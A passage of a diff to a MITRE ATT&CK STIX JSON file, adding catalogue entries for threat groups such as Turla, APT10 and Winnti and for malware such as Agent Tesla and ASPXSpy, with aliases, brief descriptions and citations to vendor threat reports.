"[Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims. (Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors. (Citation: SecureWorks BRONZE UNION June 2017) (Citation: Securelist LuckyMouse June 2018)", + "external_references": [ + { + "external_id": "G0027", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0027" + }, + { + "description": "(Citation: Dell TG-3390) (Citation: Hacker News LuckyMouse June 2018)", + "source_name": "Threat Group-3390" + }, + { + "description": "(Citation: Dell TG-3390) (Citation: Nccgroup Emissary Panda May 2018) (Citation: Hacker News LuckyMouse June 2018)", + "source_name": "TG-3390" + }, + { + "description": "(Citation: Gallagher 2015) (Citation: Nccgroup Emissary Panda May 2018) (Citation: Securelist LuckyMouse June 2018) (Citation: Hacker News LuckyMouse June 2018)(Citation: Unit42 Emissary Panda May 2019)", + "source_name": "Emissary Panda" + }, + { + "description": "(Citation: SecureWorks BRONZE UNION June 2017) (Citation: Nccgroup Emissary Panda May 2018)", + "source_name": "BRONZE UNION" + }, + { + "description": "(Citation: Nccgroup Emissary Panda May 2018) (Citation: Securelist LuckyMouse June 2018) (Citation: Hacker News LuckyMouse June 2018)", + "source_name": "APT27" + }, + { + "description": "(Citation: Hacker News LuckyMouse June 2018)", + "source_name": "Iron Tiger" + }, + { + "description": "(Citation: Securelist LuckyMouse June 2018) (Citation: Hacker News LuckyMouse June 2018)", + "source_name": "LuckyMouse" + }, + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + }, + { + "source_name": "Securelist LuckyMouse June 2018", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + }, + { + "source_name": "Hacker News LuckyMouse June 2018", + "description": "Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.", + "url": "https://thehackernews.com/2018/06/chinese-watering-hole-attack.html" + }, + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + }, + { + "source_name": "Gallagher 2015", + "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.", + "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/" + }, + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:58.518Z", + "id": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-10-15T20:16:11.552Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.2" + }, + { + "aliases": [ + "Thrip" + ], + "type": "intrusion-set", + "name": "Thrip", + "description": "[Thrip](https://attack.mitre.org/groups/G0076) is an espionage group that has targeted satellite communications, telecoms, and defense contractor companies in the U.S. and Southeast Asia. The group uses custom malware as well as \"living off the land\" techniques. (Citation: Symantec Thrip June 2018)", + "external_references": [ + { + "external_id": "G0076", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0076" + }, + { + "description": "(Citation: Symantec Thrip June 2018)", + "source_name": "Thrip" + }, + { + "source_name": "Symantec Thrip June 2018", + "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172", + "modified": "2019-03-25T17:06:36.989Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Tropic Trooper", + "KeyBoy" + ], + "name": "Tropic Trooper", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong. [Tropic Trooper](https://attack.mitre.org/groups/G0081) focuses on targeting government, healthcare, transportation, and high-tech industries and has been active since 2011.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)", + "id": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.2", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Edward Millington", + "Bart Parys" + ], + "created": "2019-01-29T20:17:48.717Z", + "modified": "2019-10-14T16:17:28.407Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0081", + "url": "https://attack.mitre.org/groups/G0081" + }, + { + "description": "(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)", + "source_name": "Tropic Trooper" + }, + { + "description": "(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper Mar 2018)", + "source_name": "KeyBoy" + }, + { + "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.", + "source_name": "TrendMicro Tropic Trooper Mar 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/" + }, + { + "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", + "source_name": "Unit 42 Tropic Trooper Nov 2016", + "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + } + ] + }, + { + "aliases": [ + "Turla", + "Waterbug", + "WhiteBear", + "VENOMOUS BEAR", + "Snake", + "Krypton" + ], + "name": "Turla", + "description": "[Turla](https://attack.mitre.org/groups/G0010) is a Russian-based threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies since 2004. Heightened activity was seen in mid-2015. [Turla](https://attack.mitre.org/groups/G0010) is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware. [Turla](https://attack.mitre.org/groups/G0010)\u2019s espionage platform is mainly used against Windows machines, but has also been seen used against macOS and Linux machines. (Citation: Kaspersky Turla) (Citation: ESET Gazer Aug 2017) (Citation: CrowdStrike VENOMOUS BEAR) (Citation: ESET Turla Mosquito Jan 2018)", + "id": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.2", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Edward Millington" + ], + "created": "2017-05-31T21:31:49.816Z", + "modified": "2019-07-14T21:04:44.442Z", + "external_references": [ + { + "external_id": "G0010", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0010" + }, + { + "description": "(Citation: Kaspersky Turla)", + "source_name": "Turla" + }, + { + "description": "Based similarity in TTPs and malware used, Turla and Waterbug appear to be the same group.(Citation: Symantec Waterbug)", + "source_name": "Waterbug" + }, + { + "description": "WhiteBear is a designation used by Securelist to describe a cluster of activity that has overlaps with activity described by others as Turla, but appears to have a separate focus.(Citation: Securelist WhiteBear Aug 2017)", + "source_name": "WhiteBear" + }, + { + "description": "(Citation: CrowdStrike VENOMOUS BEAR)", + "source_name": "VENOMOUS BEAR" + }, + { + "description": "(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla PowerShell May 2019)", + "source_name": "Snake" + }, + { + "description": "(Citation: CrowdStrike VENOMOUS BEAR)", + "source_name": "Krypton" + }, + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "description": "Meyers, A. (2018, March 12). Meet CrowdStrike\u2019s Adversary of the Month for March: VENOMOUS BEAR. Retrieved May 16, 2018.", + "source_name": "CrowdStrike VENOMOUS BEAR", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/" + }, + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + }, + { + "source_name": "Symantec Waterbug", + "description": "Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf" + }, + { + "source_name": "Securelist WhiteBear Aug 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "url": "https://securelist.com/introducing-whitebear/81638/" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ] + }, + { + "aliases": [ + "WIRTE" + ], + "name": "WIRTE", + "description": "[WIRTE](https://attack.mitre.org/groups/G0090) is a threat group that has been active since at least August 2018. The group focuses on targeting Middle East defense and diplomats.(Citation: Lab52 WIRTE Apr 2019)", + "id": "intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Lab52 by S2 Grupo" + ], + "created": "2019-05-24T17:02:44.226Z", + "modified": "2019-06-20T15:30:38.517Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0090", + "url": "https://attack.mitre.org/groups/G0090" + }, + { + "description": "(Citation: Lab52 WIRTE Apr 2019)", + "source_name": "WIRTE" + }, + { + "description": "S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019.", + "source_name": "Lab52 WIRTE Apr 2019", + "url": "https://lab52.io/blog/wirte-group-attacking-the-middle-east/" + } + ] + }, + { + "aliases": [ + "Winnti Group", + "Blackfly" + ], + "name": "Winnti Group", + "description": "[Winnti Group](https://attack.mitre.org/groups/G0044) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](https://attack.mitre.org/groups/G0001), [APT17](https://attack.mitre.org/groups/G0025), and [Ke3chang](https://attack.mitre.org/groups/G0004), are closely linked to [Winnti Group](https://attack.mitre.org/groups/G0044). (Citation: 401 TRG Winnti Umbrella May 2018)", + "id": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Edward Millington" + ], + "created": "2017-05-31T21:32:08.682Z", + "modified": "2019-03-25T17:15:03.267Z", + "external_references": [ + { + "external_id": "G0044", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0044" + }, + { + "description": "(Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015)", + "source_name": "Winnti Group" + }, + { + "description": "(Citation: Symantec Suckfly March 2016)", + "source_name": "Blackfly" + }, + { + "source_name": "Kaspersky Winnti April 2013", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.", + "url": "https://securelist.com/winnti-more-than-just-a-game/37029/" + }, + { + "source_name": "Kaspersky Winnti June 2015", + "description": "Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.", + "url": "https://securelist.com/games-are-over/70991/" + }, + { + "source_name": "Novetta Winnti April 2015", + "description": "Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.", + "url": "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf" + }, + { + "source_name": "401 TRG Winnti Umbrella May 2018", + "description": "Hegel, T. (2018, May 3). Burning Umbrella: An Intelligence Report on the Winnti Umbrella and Associated State-Sponsored Attackers. Retrieved July 8, 2018.", + "url": "https://401trg.com/burning-umbrella/" + }, + { + "description": "DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016.", + "source_name": "Symantec Suckfly March 2016", + "url": "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" + } + ] + }, + { + "aliases": [ + "admin@338" + ], + "name": "admin@338", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as [PoisonIvy](https://attack.mitre.org/software/S0012), as well as some non-public backdoors. (Citation: FireEye admin@338)", + "id": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Tatsuya Daitoku, Cyber Defense Institute, Inc." + ], + "created": "2017-05-31T21:31:53.579Z", + "modified": "2019-09-04T19:48:17.418Z", + "external_references": [ + { + "external_id": "G0018", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0018" + }, + { + "description": "(Citation: FireEye admin@338)", + "source_name": "admin@338" + }, + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ] + }, + { + "aliases": [ + "menuPass", + "Stone Panda", + "APT10", + "Red Apollo", + "CVNX", + "HOGFISH" + ], + "name": "menuPass", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university. (Citation: Palo Alto menuPass Feb 2017) (Citation: Crowdstrike CrowdCast Oct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud Hopper April 2017) (Citation: FireEye APT10 April 2017) (Citation: DOJ APT10 Dec 2018)", + "id": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.3", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Edward Millington", + "Michael Cox" + ], + "created": "2017-05-31T21:32:09.054Z", + "modified": "2019-10-14T18:54:38.216Z", + "external_references": [ + { + "external_id": "G0045", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0045" + }, + { + "description": "(Citation: Palo Alto menuPass Feb 2017)", + "source_name": "menuPass" + }, + { + "description": "(Citation: Palo Alto menuPass Feb 2017) (Citation: Accenture Hogfish April 2018)", + "source_name": "Stone Panda" + }, + { + "description": "(Citation: Palo Alto menuPass Feb 2017) (Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)", + "source_name": "APT10" + }, + { + "description": "(Citation: PWC Cloud Hopper April 2017)", + "source_name": "Red Apollo" + }, + { + "description": "(Citation: PWC Cloud Hopper April 2017)", + "source_name": "CVNX" + }, + { + "description": "(Citation: Accenture Hogfish April 2018)", + "source_name": "HOGFISH" + }, + { + "source_name": "Palo Alto menuPass Feb 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/" + }, + { + "source_name": "Crowdstrike CrowdCast Oct 2013", + "description": "Crowdstrike. (2013, October 16). CrowdCasts Monthly: You Have an Adversary Problem. Retrieved March 1, 2017.", + "url": "https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem" + }, + { + "source_name": "FireEye Poison Ivy", + "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf" + }, + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "source_name": "DOJ APT10 Dec 2018", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + }, + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + }, + { + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "source_name": "FireEye APT10 Sept 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ] + }, + { + "name": "3PARA RAT", + "description": "[3PARA RAT](https://attack.mitre.org/software/S0066) is a remote access tool (RAT) programmed in C++ that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024). (Citation: CrowdStrike Putter Panda)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "3PARA RAT" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a", + "created": "2017-05-31T21:32:44.131Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0066", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0066" + }, + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ] + }, + { + "name": "4H RAT", + "description": "[4H RAT](https://attack.mitre.org/software/S0065) is malware that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024) since at least 2007. (Citation: CrowdStrike Putter Panda)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "4H RAT" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc", + "created": "2017-05-31T21:32:43.664Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0065", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0065" + }, + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ] + }, + { + "name": "ADVSTORESHELL", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is a spying backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase. (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 2)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ADVSTORESHELL", + "AZZY", + "EVILTOSS", + "NETUI", + "Sedreco" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "created": "2017-05-31T21:32:34.648Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0045", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0045" + }, + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "source_name": "Kaspersky Sofacy", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + }, + { + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 2", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ] + }, + { + "name": "ASPXSpy", + "description": "[ASPXSpy](https://attack.mitre.org/software/S0073) is a Web shell. It has been modified by [Threat Group-3390](https://attack.mitre.org/groups/G0027) actors to create the ASPXTool version. (Citation: Dell TG-3390)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ASPXSpy", + "ASPXTool" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2", + "created": "2017-05-31T21:32:47.879Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0073", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0073" + }, + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ] + }, + { + "name": "Agent Tesla", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) is a spyware Trojan written in visual basic.(Citation: Fortinet Agent Tesla April 2018)", + "id": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "Agent Tesla" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-01-29T18:44:04.748Z", + "modified": "2019-04-16T14:30:35.105Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0331", + "url": "https://attack.mitre.org/software/S0331" + }, + { + "description": "(Citation: Fortinet Agent Tesla April 2018)(Citation: Talos Agent Tesla Oct 2018)(Citation: DigiTrust Agent Tesla Jan 2017)", + "source_name": "Agent Tesla" + }, + { + "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", + "source_name": "Fortinet Agent Tesla April 2018", + "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html" + }, + { + "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", + "source_name": "Talos Agent Tesla Oct 2018", + "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html" + }, + { + "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.", + "source_name": "DigiTrust Agent Tesla Jan 2017", + "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/" + } + ] + }, + { + "name": "Agent.btz", + "description": "[Agent.btz](https://attack.mitre.org/software/S0092) is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008. (Citation: Securelist Agent.btz)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Agent.btz" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39", + "created": "2017-05-31T21:32:59.153Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0092", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0092" + }, + { + "description": "Gostev, A.. (2014, March 12). Agent.btz: a Source of Inspiration?. Retrieved April 8, 2016.", + "source_name": "Securelist Agent.btz", + "url": "https://securelist.com/agent-btz-a-source-of-inspiration/58551/" + } + ] + }, + { + "name": "Astaroth", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) is a Trojan and information stealer known to affect companies in Europe and Brazil. It has been known publicly since at least late 2017. (Citation: Cybereason Astaroth Feb 2019) (Citation: Cofense Astaroth Sept 2018)", + "id": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0373", + "url": "https://attack.mitre.org/software/S0373" + }, + { + "source_name": "Cybereason Astaroth Feb 2019", + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + }, + { + "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", + "source_name": "Cofense Astaroth Sept 2018", + "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "malware", + "x_mitre_aliases": [ + "Astaroth" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Carlos Borges, @huntingneo, CIP" + ], + 